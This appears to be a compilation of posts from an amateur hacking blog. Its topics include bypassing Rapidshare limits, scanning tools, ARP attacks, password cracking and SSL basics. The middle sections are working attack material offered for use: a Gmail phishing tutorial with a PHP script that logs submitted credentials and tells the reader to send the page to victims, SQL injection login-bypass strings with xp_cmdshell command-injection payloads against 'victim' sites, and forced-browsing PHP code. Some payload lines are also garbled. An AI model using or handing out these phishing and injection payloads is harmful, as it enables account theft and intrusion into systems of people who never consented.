Rapidshare Hack

There are two hacks to beat Rapidshare download limits and waiting time.

1) Rapidshare Hack (For Firefox Users) :-
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment.
But most of the time, that advantage is available only to people with the programming skills to make the changes they want.

That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools.
It changes how Web pages look and act by altering the rendering process.


http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension>>
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
5) Run FireFox.
6) From 'File' Menu click on Open File then browse to whereever you saved the 'greasemonkey.xpi' plug-in.
Open it, wait a couple seconds for the install button becomes active.
7) Click on it to install this plug-in then CLOSE FIREFOX.
8) Run FireFox again.
From the File Menu click on Open File then browse to whereever you saved the 'rapidshare.user.js'.
9) Open it.
10) Click the Tools Menu then click on Install User Script then click OK.
11) Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads......!


2) Rapidshare Hack (NIC Tricks and MAC Cloning) :-
Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day.
To get around this, you need to show the rapidshare server a different IP address.
Here are some methods for doing this-

A] Short-Out the JavaScript:
1) Goto the page you want to download
2) Select FREE button
3) In the address bar put this-    javascript:alert(c=0)
4) Click OK
5) Click OK to the pop-up box
6) Enter the captcha
7) Download Your File

B] Request a new IP address from your ISP server:
Here’s how to do it in windows:
1) Click Start
2) Click run
3) In the run box type cmd.exe and click OK
4) When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit 5) Erase your cookies in whatever browser you are using.
6) Try the rapidshare download again.
Frequently you will be assigned a new IP address when this happens.
Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work.
If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

C] Use a proxy with SwitchProxy and Firefox:
1) Download and install Firefox
2) Download and install SwitchProxy
3) Google for free proxies
4) When you hit your download limit, clean your cookies and change your proxy

D] You can use a bookmarklet to stop your wait times:
1) Open IE
2) Right Click On This Link
3) Select Add to Favorites
4) Select Yes to the warning that the bookmark may be unsafe.
5) Name it “RapidShare No Wait”
6) Click on the Links folder (if you want to display it in your IE toolbar)
7) Click OK
8) You may need to close and reopen IE to see it
9) Goto rapidshare and click the bookmarklet when you are forced to wait;.

Hacking Tools

-: Hacking Tools :- Port Scanners :- Nmap :- This tool developed by Fyodor is one of the best unix and windows based port scanners. This advanced port scanner has a number of useful arguments that gives user a lot of control over the process. Home:- http://www.insecure.org Latest Release:- Nmap 5.50 Download:- http://nmap.org/download.html Superscan :- A Windows-only port scanner, pinger, and resolver SuperScan is a free Windows-only closed-source TCP/UDP port scanner by Foundstone. It includes a variety of additional networking tools such as ping, traceroute, http head, and whois. Home:- http://www.foundstone.com Latest Release:- SuperScan v4.0 Download:- http://www.foundstone.com/us/resources/proddesc/superscan4.htm Angry IP Scanner :- A fast windows IP scanner and port scanner. Angry IP Scanner can perform basic host discovery and port scans on Windows. Its binary file size is very small compared to other scanners and other pieces of information about the target hosts can be extended with a few plugins. Home:- http://www.angryziber.com [sourceforge.net] Latest Release:- IPScan 3.0-beta3 Download:- http://www.angryziber.com/w/Download Unicornscan :- Unicornscan is an attempt at a User-land Distributed TCP/IP stack for information gathering and correlation. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. Some of its features include asynchronous stateless TCP scanning with all variations of TCP flags, asynchronous stateless TCP banner grabbing, and active/passive remote OS, application, and component identification by analyzing responses. Home:- http://www.unicornscan.org Latest Release:- Unicornscan 0.4.7-2 Download:- http://www.unicornscan.org OS Fingerprinting Tools :- Nmap :- This tool developed by Fyodor is one of the best unix and windows based active os fingerprinting tool. Home:- http://www.insecure.org Latest Release:- Nmap 5.50 Download:- http://nmap.org/download.html P0f :- A passive OS fingerprinting tool. P0f is able to identify the operating system of a target host simply by examining captured packets even when the device in question is behind an overzealous packet firewall.P0f can detect firewall presence, NAT use, existence of load balancers, and more! Home:- http://lcamtuf.coredump.cx/p0f.shtml Latest Release:- p0f v2 (2.0.8) Download:- http://lcamtuf.coredump.cx/p0f.shtml Xprobe2 :- Active OS fingerprinting tool. XProbe is a tool for determining the operating system of a remote host. They do this using some of the same techniques as Nmap as well as some of their own ideas. Xprobe has always emphasized the ICMP protocol in its fingerprinting approach. Home:- http://www.sys-security.com [sourceforge.net] Latest Release:- Xprobe2 0.3 Download:- http://sourceforge.net/projects/xprobe

Address Resolution Protocol (ARP) Attacks

What Does ARP Mean?
Address Resolution Protocol (ARP) is a stateless protocol, was designed to map Internet Protocol addresses (IP) to their associated Media Access Control (MAC) addresses. This being said, by mapping a 32 bit IP address to an associated 48 bit MAC address via attached Ethernet devices, a communication between local nodes can be made.

On a majority of operating systems, such as Linux, FreeBSD, and other UNIX based operating systems, and even including Windows, the "arp" program is present. This program can be used to display and/or modify ARP cache entries.

An example of the "arp" utility's output would look like the following:

Windows:
> arp -a
Interface: 192.168.1.100 .- 0x10003
Internet Address        Physical Address        Type
192.168.1.1          00-13-10-23-9a-53       dynamic

Linux:
$ arp -na
? (192.168.1.1) at 00:90:B1:DC:F8:C0 [ether] on eth0

FreeBSD:
$ arp -na
? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0


How ARP works?
Specifically for Internet Protocol Version 4 (IPv4), ARP maps IP addresses between the Network layer and Data Link layer of the Open System Interconnection (OSI) model.
For a more complete and thorough explanation of how address resolution works, and protocol specifics, please consult RFC 826.


ARP Protocol Flaws :-
ARP's main flaw is in its cache. Knowing that it is possible for ARP to update existing entries as well as add to the cache, this leads one to believe that forged replies can be made, which result in ARP cache poisoning attacks.


Terms & Definitions :-
ARP Cache Poisoning : Broadcasting forged ARP replies on a local network. In a sense, "fooling" nodes on the network. This can be done because ARP lacks authentication features, thus blindly accepting any request and reply that is received or sent.

MAC Address Flooding : An ARP cache poisoning attack that is mainly used in switched environments. By flooding a switch with fake MAC addresses, a switch is overloaded. Because of this, it broadcasts all network traffic to every connected node. This outcome is referred to as "broadcast mode" because, all traffic passing through the switch is broadcasted out like a Hub would do. This then can result in sniffing all network traffic.


The ARP Attacks :-
1] Connection Hijacking & Interception : Packet or connection hijacking and interception is the act in which any connected client can be victimized into getting their connection manipulated in a way that it is possible to take complete control over.

2] Connection Resetting : The name explains itself very well. When we are resetting a client's connection, we are cutting their connection to the system. This can be easily done using specially crafted code to do so. Luckily, we have wonderful software that was made to aid us in doing so.

3] Man In The Middle : One of the more prominent ways of attacking another user in order to hijack their traffic, is by means of a Man In The Middle (MITM) attack. Unlike the other attacks, a MITM is more a packet manipulation attack which in the end however does result in packet redirection to the attacker . all traffic will get sent to the attacker doing the MITM attack. This attack however is specific. As opposed to MAC Address Flooding or other attacks against a router/switch, the MITM attack is against a victim, and also can be done outside of a switched environment. Thus meaning, an attack can be executed against a person on the other side of the country.

4] Packet Sniffing : Sniffing on a Local Area Network (LAN) is quite easy if the network is segmented via a hub, rather than a switch. It is of course possible to sniff on a switched environment by performing a MAC flood attack. As a result of the MAC flood, the switch will act as a hub, and allow the entire network to be sniffed. This gives you a chance to use any sort of sniffing software available to you to use against the network, and gather packets.

5] Denial of Service : MAC Address Flooding can be considered a Denial of service attack. The main idea of the MAC flood, is to generate enough packet data to send toward a switch, attempting to make it panic. This will cause the switch to drop into broadcast mode and broadcast all packet data. This however did not result in a crash, or the service to be dropped, but to be overloaded.

Network Hacking

Network Hacking is generally means gathering information about domain by using tools like Telnet, NslookUp, Ping, Tracert, Netstat, etc.
It also includes OS Fingerprinting, Port Scaning and Port Surfing using various tools.

Ping :- Ping is part of ICMP (Internet Control Message Protocol) which is used to troubleshoot TCP/IP networks. So, Ping is basically a command that allows you to check whether the host is alive or not.
To ping a particular host the syntax is (at command prompt)--

c:/>ping hostname.com

example:- c:/>ping www.google.com

Various attributes used with 'Ping' command and their usage can be viewed by just typing c:/>ping at the command prompt.


Netstat :- It displays protocol statistics and current TCP/IP network connections. i.e. local address, remote address, port number, etc.
It's syntax is (at command prompt)--

c:/>netstat -n

Telnet :- Telnet is a program which runs on TCP/IP. Using it we can connect to the remote computer on particular port. When connected it grabs the daemon running on that port.
The basic syntax of Telnet is (at command prompt)--

c:/>telnet hostname.com

By default telnet connects to port 23 of remote computer.
So, the complete syntax is-

c:/>telnet www.hostname.com port

example:- c:/>telnet www.yahoo.com 21 or c:/>telnet 192.168.0.5 21


Tracert :- It is used to trace out the route taken by the certain information i.e. data packets from source to destination.
It's syntax is (at command prompt)--

c:/>tracert www.hostname.com

example:- c:/>tracert www.insecure.in

Here "*    *    *    Request timed out." indicates that firewall installed on that system block the request and hence we can't obtain it's IP address.

various attributes used with tracert command and their usage can be viewed by just typing c:/>tracert at the command prompt.

The information obtained by using tracert command can be further used to find out exact operating system running on target system.

Password Hacking

-: Password Hacking :- Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password. Most passwords can be cracked by using following techniques : 1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password. If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords. One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length. LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately. Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly. 2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user's personal information. Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include: * blank (none) * the word "password", "passcode", "admin" and their derivatives * the user's name or login name * the name of their significant other or another person (loved one) * their birthplace or date of birth * a pet's name * a dictionary word in any language * automobile licence plate number * a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop) * a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters. and so on.... In one survery of MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was. A password containing both uppercase &  lowercase characters, numbers and special characters too; is a strong password and can never be guessed. Check Your Password Strength 3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet. Always disable or change the applications' (both online and offline) default username-password pairs. 4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked. Long is the password, large is the time taken to brute force it. 5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc. Phishing is a technique in which the attacker creates the fake login screen and send it to the victim, hoping that the victim gets fooled into entering the account username and password. As soon as victim click on "enter" or "login" login button this information reaches to the attacker using scripts or online form processors while the user(victim) is redirected to home page of e-mail service provider. Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider. It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.

Hack Gmail Account | Phishing

In this following tutorial to phishing I‘ll demonstrate how to hack Gmail account password by phishing. Since we already covered how to hack Facebook account using phishing I consider this as second tutorial to phishing. First of all we will create a fake login page, to create it open www.gmail.com in your web browser, click on file then save as and select file name “Gmail” and save as type “Web page Complete”. After above process you’ll have a file named Gmail.htm and a folder named Gmail_files in folder in which you’ll save web page. Now open Gmail.htm in notepad, find for action word and locate following string,

action="https://www.google.com/accounts/ServiceLoginAuth"

Once located change action string by phish.php, so that above string should appear as following,

action="phish.php"

Now step number two is to create phish.php file. Open notepad and copy following code in it,

<?php

header ('Location: https://www.google.com/accounts/ServiceLoginAuth ');

$handle = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Save it as phish.php, now create an empty password log file log.txt. Now sign up for a free webhosting service which supports php from http://www.100best-free-web-space.com/. Now upload Gmail.htm file, php file, password log file and Gmail_files folder to that web host. Change permission of log.txt file to777 from settings so that no one else than you can see or edit it.

Now you have to vector this phished site to your victim to hack his/her password. We will cover vectoring phished pages and countermeasures to phishing after few more tutorials on phishing. Till then have a nice time, thanks for reading and keep visiting.

SQL Injection Using Havij

Havij is automatic SQL injection tool developed by ITSecTeam. Havij is available in both free and paid version. Paid versions have some extra advantages over free version but for this tutorial we will use free one. First of all download Havij from http://ITSecTeam.com and install it. Copy and paste URL of website which you want scan for SQL injection vulnerability and press analyze.

Havij will now analyze site for SQL injection vulnerability if site is not vulnerable then Havij will display it in log section in red color, if it is vulnerable then it'll show injection method name. After scanning if you find the victim is vulnerable then press GET DBS and it'll list of database used by victim.

After getting database click on Get Tables and Get Columns. You can also save the retrieved database on your own system. Those who have experience handling database using SQL can also add and edit data using CDM or Query option.

SQL Injection Just A Little Beyond Injection

If you have been a regular reader of my blog then you might remember following type of SQL queries,

1 ' OR ' 1 ' = ' 1

a ' OR ' 1 ' = ' 1

a ' OR ' a ' = ' a

Login: 1 ' OR ' 1 ' = ' 1

Password : 1 ' OR ' 1 ' = ' 1

http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1

and similar variants they all are usually used to bypass login page. By the while discussing SQL injection several times I mentioned that SQL injection is kinda command injection attack. You might wonder a little if SQL injection is kinda command injection attack then how I can execute commands using it. I intentionally left command injection part in SQL injection to cover it while discussing command injection.

First of all command injection using SQL injection works only on windows based shell means it will not work on Linux. Now how it works, as we know that SQL injection is not only a command injection it is also a code injection attack because each statement in SQL injection is interpreted code which terminates with ' ; ' (semicolon) which acts as statement terminator. While SQL injection you intentionally never use statement terminator because you already know web application does it automatically. While injecting commands a hacker can exploit this to execute commands using SQL injection by terminating statement and appending following command.

exec master..xp_cmdshell “<shell command>” --

If victim is vulnerable to command injection attack via SQL injection then any SQL query you can inject will 100% support above appended code, have a look on following examples,

1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “dir c:\” –

1 ' ; exec master..xp_cmdshell “dir c:\” –

Above commands will list all folders and files in C drive of vicim,

a ' OR ' 1 ' = ' 1 ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –

a ' ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –

Above statement will add a file in system with message You Got Hacked.

a ' OR ' a ' = ' a '; exec master..xp_cmdshell..xp “ping 127.0.0.1” --

Login: 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell..xp “ping 127.0.0.1” --

Above statement will ping victim system.

Password : 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “ver” –

Above statement will display name and version of victim system. And there should be no surprise because even this works,

http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “mkdir hacker” --

Forced Browsing Attack

Forced browsing is XSRF attack in which a user is forced to browse a content without his/her knowledge. For example on this blog you can see several advertisements, all of them are real time examples of forceful browsing because you can't control their existence while browsing to this blog. A site is called vulnerable to forced browsing XSRF attack if it processes a request directly without notifying a user. For example consider a website www.victimsite.com is vulnerable to forced browsing XSRF attack. Now suppose you want to buy Bit Defender anti-virus from www.victimsite.com so when you click add to cart button on website, it will process your request by URL which might appears something like this,

www.victimsite.com/software/antivirus.php?product_id=123456

without notifying user about his/her request is processed, then that site can be surely attacked using forced browsing attack. Please note that above is just an example in real world stuff may vary according to the website. Now suppose an attacker want to take advantage of above vulnerability for his/her advantage then he/she will place an advertisement or review about product on his/her website and rather than putting a direct link in ADD TO CART button he will place a script in which he/she will add two or more products to get processed. Suppose the attacker adds link to a PHP script in which he/she also specifies visitor to buy one more product then most likely the script will appear as follows,

<?php

/**** Some Lines of Code *****/

header ('Location: www.victimsite.com/software/antivirus.php?product_id=123456 ');

/**** Some Lines of Code *****/

header ('Location: www.victimsite.com/software/antivirus.php?product_id=654321 ');

/**** Some Lines of Code *****/

exit;

?>

in fact even following code in script will work,

<?php

header ('Location: www.victimsite.com/software/antivirus.php?product_id=123456 ');

header ('Location: www.victimsite.com/software/antivirus.php?product_id=654321 ');

exit;

?>

but attacker will not take any chances so he/she will surely craft code more carefully. Now when the victim will be checking out, his/her cart will be having two products instead of one and he/she will be fooled to buy an extra product.

Again a site which does not create a random cookies for registering product to cart is also vulnerable forced browsing attack. If cookies remain static for some product then surely an attacker will pick up the product cookie value and craft his/her script to intentionally add that cookie to browser on which victim user is browsing so that when he/she will check out he/she will have to pay for more than one product. Please note that such sites are more dangerous than sites which can be attacked using URLs.

Now the final words for the day. At practical level there's no way you can ever understand a site is vulnerable to these kind of attacks unless you have experience with web development tools and web application development. Everything explained above are nothing but basic examples specialty crafted so that even a nerd can understand forced browsing XSRF attacks but reality is that when an experienced web developer or web application developer will read this he/she will surely find out several variations can be made to above method to put on a real attack. In other words a person with no knowledge of web development or web application development can hardly figure out whether a site is vulnerable to attack or not and even if he/she figures out he/she may hardly have any idea about how to exploit it.

Free Ebook Download | Teach Yourself C++ In 21 Days

Teach Yourself C++ In 21 Days is proprietary release from Sams publication. The following book has been provided by www.mcp.com as free download. So enjoy learning programming if you haven't yet started. 

 

Download Teach Yourself C++ In 21 Days

Server Certificate Model

 

 

In this post we will discus a little about server certificate model. Yes you are right we will discus here something about CA certificates and SSL. So lets start from CA certificate. Full form of CA is certificate authority or certification authority its main task is to provide digital signatures which are known as CA certificates. The digital signatures/certificates certifies the ownership of a public key. There are several CA that provide digital certificates some are free while some are paid. The very common use of CA certificates can be found in SSL or TSL. The introduction of SSL in HTTP protocol has made possible data transfer via network in encrypted form. Due to introduction of SSL in HTTP the three way handshake is also slightly affected to support data transfer in encrypted form.

A digital certificate can be compared to a voter card id. A voter can be termed as a website, card issuing office as CA authorities and voter card number as secret cipher code. Cipher code for SSL is determined with help of cipher suite which is set of cryptographic primitives and configurations. It may include information about which key exchange algorithm to use, authentication algorithm, encryption, hashing and other information. SSL works on the basis of Public Key Infrastructure (PKI) and uses randomly generated session key for first time session key exchange with any website. The key exchange cycle involves setting up special session key that both client and server can use to communicate securely.

Now one of the biggest problem with SSL is that it only certifies that the certificate is issued to particular website for particular reason without any mechanism to verify it. That means you can use digital certificate verified for some other website for yourself. For most of the Windows ISS servers, these digital certificates and does not even needs real validation, it means if you activate HTTPS over HTTP in Windows ISS server then your SSL layer would be ready without any third party verification because it'll itself act as CA authority root server.

By the way the motive of this post was not explaining full working of SSL but to clear some basics that you must know to further understand our upcoming posts on attacking SSL encryption. So in upcoming posts we will have our look on SSL weaknesses and how to attack them. Till then thanks for reading, have a nice time and keep visiting.